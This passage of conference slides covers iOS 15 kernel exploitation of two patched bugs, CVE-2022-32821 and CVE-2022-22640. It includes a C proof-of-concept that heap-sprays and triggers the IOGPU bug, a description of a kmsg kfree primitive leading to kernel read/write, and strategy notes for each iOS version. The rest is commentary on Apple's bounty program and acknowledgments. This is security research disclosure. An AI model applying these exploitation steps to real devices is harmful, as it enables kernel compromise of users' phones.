- Freeing an IOSurfaceClient array, and refilling it with controlled/semi-controlled data achieves kernel R/W (see multicast_bytecopy exploit.c:192)

Exploitation: CVE-2022-32821

- The main part of my PoC is shown on next slide
- The point of showing the PoC is just to show the main heap layout is simple enough to fit on a single slide
- The PoC is for non-PAC, with IORegistryIterator used as the C++ object to survive the <vtable+0x90> call
- For PAC, a separate leak of an IOGPUMemoryMap could be plugged into the PoC instead of IORegistryIterator and it would work

```
for (int i = 0; i < it_count; ++i)
    it[i] = IORegistry_create_iterator();

// prepare trigger
io_connect_t uc = IOGPU_init();
for (int i = 0; i < 2048; ++i)
   IOGPU_create_mtllateevent(uc);

// fill holes in kext.kalloc.576
for (int i = 0; i < 3900; ++i)
    IOSurfaceRoot_default_uc_create_surface(); // 1 kext.kalloc.576 alloc, with side effect allocs

// spray controlled data in default.kalloc (ideally fully controlled)
for (int j = 0; j < 0x10000; ++j)
    necp_spray(necp_fd, necp_spray_buf, 0x318); // 1 default.kalloc.1664 alloc

// spray kext.kalloc.576 OOB origin
for (int i = 0; i < (0x4000/576) + 1; ++i)
    IOSurfaceRoot_default_uc_create_surface(); // 1 kext.kalloc.576 alloc, with side effect allocs

// trigger
IOGPU_create_mtllateevent(uc);

printf("Alive? Try kmsg free primitive now\n");
for(int i = 0; i < data_ports_count; ++i)
    mach_port_destroy(mach_task_self(), data_ports[i]);
```

Exploitation: CVE-2022-22640

- For the kmsg bug shown in this presentation, CVE-2022-22640, there's not much left to say
- We already achieved a kmsg kfree primitive - we can replace kmsg->ikm_header and kfree default.kalloc pointers in fake descriptors
- Freeing an IOSurfaceClient array, and refilling it with controlled/semi-controlled data achieves kernel R/W (as mentioned before)
- There's other interesting ways to exploit this bug - I only covered one
- Final slide has some details about how to use the strategy on different versions

Exploitation: CVE-2022-22640

- iOS 15.0 - 15.1.1: generic multicast_bytecopy-style exploitation with hardcoded default.kalloc pointers (as in multicast_bytecopy exploit.c:23)
- iOS 15.2 - 15.2.1: use mach_port_peek() to also leak default.kalloc pointers from kmsgs instead of hardcoding anything
- iOS 15.3 - 15.3.1 : same as 15.2 but something other than IOSurface needed as ‘final’ primitives

(Apple Security Bounty in 2022)

(Apple Security Bounty in 2022)

(Apple Security Bounty in 2022)

- I've talked a lot about leaks in this presentation
- They’re clearly useful
- However, Apple doesn't pay even their minimum bounty for kernel infoleaks unless combined with other bugs
- I’d like to end with this question to Apple: What was the purpose of all those new mitigations if bypassing them is worth **nothing**?

Conclusion

Conclusion

- New “good” bugs are still being introduced in iOS - the ones in this talk were new in iOS 15 and not patched until a few months ago
- When engaged in full time security research, new bugs/techniques/attack surfaces often come to you as you go while working on something else
- Apple Security Bounty could use further improvements
- kmsg will forever be remembered as an iOS exploit SDK
- Finally, I’m at Dataflow Forensics, a new company founded in collaboration with Dataflow Security - we are hiring! (reach me on twitter - @jaakerblom)

Thanks to

- Phạm Hồng Phi (@4nhdaden)
- 안기찬 (@externalist)
- 王铁磊 (@wangtielei)
- (@amarsaar) סער עמר
- Jonathan Levin (@Morpheus_____)
- Ian Beer (@i41nbeer)
- turbocooler
- Hexacon organizers